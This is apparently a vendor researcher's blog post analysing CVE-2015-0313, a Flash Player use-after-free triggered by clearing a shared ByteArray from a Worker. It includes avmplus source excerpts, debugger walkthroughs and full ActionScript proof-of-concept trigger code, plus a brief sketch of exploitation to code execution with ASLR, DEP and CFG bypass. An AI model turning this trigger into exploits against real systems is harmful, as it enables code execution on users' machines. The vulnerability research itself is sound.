Introduction

In February, just a few days after CVE-2015-0311 was found being exploited in the wild, a new Adobe Flash Player vulnerability popped up.

Trend Micro and SpiderLabs have already published their analysis of the bug, but I thought it would be worth providing my own analysis, which I carried out in order to create a reliable exploit from scratch for our products Core Impact Pro and Core Insight.

We'll go through the avmplus source code and IDA in order to fully understand the root cause of the vulnerability.

Vulnerability Overview

Adobe Flash Player allows us to access the process memory directly using ActionScript code. This is achieved by setting a ByteArray to the ApplicationDomain.currentDomain.domainMemory property in the following way:

ApplicationDomain.currentDomain.domainMemory = mybytearray;

This is called '''Fast memory access''' and is part of FlashCC (Alchemy).

When an Adobe Flash application frees a ByteArray, the reference to the array is erased from the domainMemory object, but when the free is done from a Worker, then domainMemory is never informed and a we have what we commonly call Dangling pointer.

Vulnerability Analysis

It is time to start our analysis, so I'll use the avmplus source code to determine where the bug is, and then we'll go through the assembly code in Ollydbg/IDA. It's also worth noting that this bug is a variation of CVE-2015-0311.

The first thing we have to figure out is how a ByteArray object can be freed. We can do this using the ByteArray::clear method. Looking at the code of this method in core/ByteArrayGlue.cpp we see the following:

void ByteArrayObject::clear()
{
   m_byteArray.Clear();
   m_byteArray.SetPosition(0);
}

We have an instance member ByteArray in which we invoke the Clear method. This method frees the memory. Then the SetPosition method is invoked to initialize the m_position variable (this is the one that keeps track of the offset within the array).

Let's take a look at the code of ByteArray::Clear:

void ByteArray::Clear()
{
    if (m_subscribers.length() > 0)
    {
        AvmAssert(false); // shouldn't get here?
        m_toplevel->throwRangeError(kInvalidRangeError);
    }
    if (IsShared()) {
        ByteArrayClearTask task(this);
        task.run();
    }
    else {
        UnprotectedClear();
    }
}

First, there is a check to see if m_subscribers.length() is greater than 0. If True, an exception is raised.

Then, by calling IsShared the AVM tries to establish if we are in the presence of a shared ByteArray, the one used in conjunction with Workers:

REALLY_INLINE bool IsShared() const { return m_isShareable && (m_buffer->RefCount() > 1); }

This method is defined in core/ByteArrayGlue.h

If IsShared returns True, an instance of ByteArrayClearTask is created and its run method called.

class ByteArrayClearTask: public ByteArrayTask
{
public:
    ByteArrayClearTask(ByteArray* ba)
        : ByteArrayTask(ba) 
    {
    }

    void run()
    {
        // safepoints cannot survive exceptions
        TRY(m_core, kCatchAction_Rethrow)
        {
            m_byteArray->UnprotectedClear();
        }
        CATCH(Exception* e)
        {
            m_exception = e;
        }
        END_CATCH;
        END_TRY;
    }
};

As you can see, the run method is basically composed of a call to the ByteArray::UnprotectedClear method within a TRY...CATCH sentence.

UnprotectedClear ends up being the same method invoked when IsShared returns False.

Let's take a look at the code of the ByteArray::UnprotectedClear method:

void ByteArray::UnprotectedClear()
{
    if (m_buffer->array && !IsCopyOnWrite())
    {
        AvmAssert(m_buffer->capacity > 0);
        // Note that TellGcXXX always expects capacity, not (logical) length.
        TellGcDeleteBufferMemory(m_buffer->array, m_buffer->capacity);
        mmfx_delete_array(m_buffer->array);
    }
    m_buffer->array             = NULL;
    m_buffer->capacity          = 0;
    m_buffer->length            = 0;
#if defined(VMCFG_TELEMETRY_SAMPLER) && defined(DEBUGGER)
    if (m_gc->GetAttachedSampler())
    {
        ((IMemorySampler *)m_gc->GetAttachedSampler())->recordObjectReallocation(this);
    }
#endif
    m_copyOnWriteOwner  = NULL;
}

Basically, a call to the TellGcDeleteBufferMemory and mmfx_delete_array functions is done to free the memory of a given array and then the capacity, length properties are set to 0 and the array property is set to NULL.

As you can see, there is no type of notification related to ApplicationDomain.currentDomain.domainMemory as we can see, for example, on the ByteArray::Write method when the destructor of the Grower class in invoked.

Therefore, if we invoke the ByteArray::clear method from a Worker we erase any local reference to the ByteArray but not the global reference stored at ApplicationDomain.currentDomain.domainMemory.

While analyzing the vulnerability, I was asked:

If in both cases, the ByteArray::Clear method invokes the ByteArray::UnprotectedClear method, why should the call to the ByteArray:clear method be done from a Worker instead of just the main thread?

The answer is simple and it is at the start of the ByteArray::Clear method.

We saw that there was a check for m_suscribers.length(). That check returns True only when a ByteArray has been assigned to the ApplicationDomain.currentDomain.domainMemory property. If this check doesn't exist, the following code could have triggered the bug without the need of a Worker:

package 
{
    import flash.display.*;
    import flash.events.*;
    import flash.utils.*;
    import flash.external.*;
        import flash.system.*;

        public class MainClearTest extends Sprite
        {
                public function MainClearTest():void
                {

                        var ba:ByteArray = new ByteArray();
                        
                        ba.length = 0x400; // this is because AvmAssert(m_buffer->length >= DomainEnv::GLOBAL_MEMORY_MIN_SIZE);
                        ba.position = 0;
                        ba.endian = Endian.LITTLE_ENDIAN;
                        ba.shareable = true;

                        // write some data to the array
                        var i:int = 0;
                        while (i < ba.length / 4)
                        {
                                ba.writeUnsignedInt(0xBBBBBBBB);
                                i++;
                        }

                        // assign the ba to domainMemory in order to create a suscriber
                         ApplicationDomain.currentDomain.domainMemory = ba;

                        // free the byte array
                        ba.clear();
                }
        }
}

Instead, an Invalid range error is raised.

Therefore, we need the damn Worker.

Working with the Workers

Clearly, this vulnerability is related to Workers. But what the hell is an Adobe Flash Worker?

A Worker is a mechanism that Flash has to add concurrency (threads) to an application. Using a Worker, a developer can create a real multi-threading app and execute tasks simultaneously without the need to lock the main thread.

The question immediately arises: can we share information between the main thread and the Workers? F*** yeah!

On one side, we have the MessageChannel that allow us to interact between Workers. This is a kind of callback where you define an Event that would be the sign to dispatch the received messages. Then we can use the send and receive functions between the main thread and the Worker. On the other side, using the SetSharedProperty and GetSharedProperty functions we can share, for example, a ByteArray.

If you want a more detailed explanation about Workers check this and this.

Triggering the Bug

I wrote the following code in order to trigger the bug:

package
{
    import flash.display.*;
    import flash.events.*;
    import flash.utils.*;
    import flash.external.*;
    import flash.system.Worker;
    import flash.system.WorkerDomain;
    import flash.system.MessageChannel;
    import flash.system.ApplicationDomain;

        public class CVE_2015_0313 extends Sprite
        {
                private var byteArray1:ByteArray = new ByteArray();
                private var worker:Worker = null;
                private var mainToWorker:MessageChannel = null;
                private var workerToMain:MessageChannel = null;

                public function CVE_2015_0313()
                {
            if (Worker.current.isPrimordial) 
                // are we in the main thread? ...
                mainThread();
            else 
                // if not, we are in the worker's thread ...
                workerThread();
                }

                private function mainThread():void
                {
                        // setup the shared byte array
                        this.byteArray1.shareable = true;
                        this.byteArray1.length = 0x1000;
                        this.byteArray1.endian = Endian.LITTLE_ENDIAN;

                        // setup the communication channels
                        this.setupChannels();

                        // put some data in the attacking buffer
                        this.fillByteArray(this.byteArray1, 0xBBBBBBBB);

                        // set the domainMemory binaryData to byteArray1's memory region
                        ApplicationDomain.currentDomain.domainMemory = this.byteArray1;
                        
                        // send some msg to the worker to free the byteArray1's memory
                        // domainMemory still holds the reference to it
                        this.mainToWorker.send("freeBA1");
                }

                private function workerThread():void
                {
                        // get the shared message channels
                        this.mainToWorker = Worker.current.getSharedProperty("mainToWorker");
                        this.workerToMain = Worker.current.getSharedProperty("workerToMain");

                        mainToWorker.addEventListener(Event.CHANNEL_MESSAGE, onMainToWorker);
                }

                private function setupChannels():Boolean
                {
                        // create worker from our own loaderInfo.bytes
                        this.worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes);
                        this.mainToWorker = Worker.current.createMessageChannel(this.worker);
                        this.workerToMain = this.worker.createMessageChannel(Worker.current);

                        // listen to the response from worker
                        this.workerToMain.addEventListener(Event.CHANNEL_MESSAGE, onWorkerToMain);

                        // set the shared properties between our main thread and our worker thread
                        this.worker.setSharedProperty("mainToWorker", this.mainToWorker);
                        this.worker.setSharedProperty("workerToMain", this.workerToMain);
                        this.worker.setSharedProperty("byteArray1_obj", this.byteArray1);

                        // start worker execution
                        this.worker.start();

                        return true;
                }

                private function onWorkerToMain(myEvent:Event):void
                {
                        // Listen to the response from Worker

                }

                private function onMainToWorker(myEvent:Event):void
                {
                        // Listen for messages from Main
                        var msg:* = this.mainToWorker.receive();
                        var ba:ByteArray = null;

                        if (msg == "freeBA1")
                        { l
                                ba = Worker.current.getSharedProperty("byteArray1_obj");
                                ba.clear();
                        }
                }

                private function fillByteArray(byteArr:ByteArray, intValue:int):void
                {
                        var counter:int = 0;

                        byteArr.position = 0;
                        while(counter < byteArr.length / 4)
                        {
                                byteArr.writeInt(intValue);
                                counter++;
                        }
                        byteArr.position = 0;
                }

        }       
}

A brief explanation of what it does:

  1. Creates a ByteArray (byteArray1), sets the shareable property to True (needed to be shared between the main thread and the Worker) and put some data on it.
  2. In the setupChannels() function, the communication channels between the main thread and the Worker are created and the data shared is assigned.
  3. Sets byteArray1 to ApplicationDomain.currentDomain.domainMemory.
  4. It starts the execution of the Worker through the this.worker.start() invocation and it sends the order to the Worker to free the memory assigned to byteArray1.

We have two functions that acts as callbacks:

  • onMainToWorker: receives messages from the main thread.
  • onWorkerToMain: receives messages from the Worker.

Inside the onMainToWorker function the ba.clear() method is invoked in order to make ApplicationDomain.currentDomain.domainMemory point to free memory.

This way, the Worker will know that the memory from byteArray1 was freed but the main thread will not, thus allowing the exploitation.

The assignment of byteArray1 to ApplicationDomain.currentDomain.domainMemory happens inside the DomainEnv::notifyGlobalMemoryChanged function in core/DomainEnv.cpp:

img1

That is where we have a global reference to the memory region assigned to byteArray1.

The local reference to byteArray1 is erased inside the ByteArray::UnprotectedClear:

img1.1

Let's see the right moment when the assignment of byteArray1 to ApplicationDomain.currentDomain.domainMemory is done:
img2

As you can see, EDX+14 and EDX+18 point to m_globalMemoryBase (0x04F24000) and globalMemorySize (0x1000), respectively. On 0x04F24000 we have the content assigned to the buffer (0xBBBBBBBB):

img3

In the next picture, you can see how the local reference to the byteArray1 is erased

img4

We can see EAX pointing to m_buffer, the local reference to byteArray1. The data you see in the dump window are array (0x04F24000), capacity (0x1000) and length (0x1000), respectively.

If we step out from that code, we can see how the data was erased:

img5

Nevertheless, the global reference still stands:

img6

Voilá, there you have, our dangling pointer!

Exploitation and Control Flow Guard bypass

I won't dwell too much on the exploitation process I used. I exploited the vulnerability the same way Francisco exploited CVE-2015-0311.

Basically, I filled the hole left by the freed buffer with a Vector object and, using AVM instructions like li32/si32, I could overwrite the Vector metadata in order to bypass ASLR and DEP and finally execute arbitrary code.

You can read a more detailed explanation in the Tampering with the Vector section on the post published some weeks ago.

In the same way, a CFG (Control Flow Guard) bypass can be done on Windows 8.1 in as the same author describes here.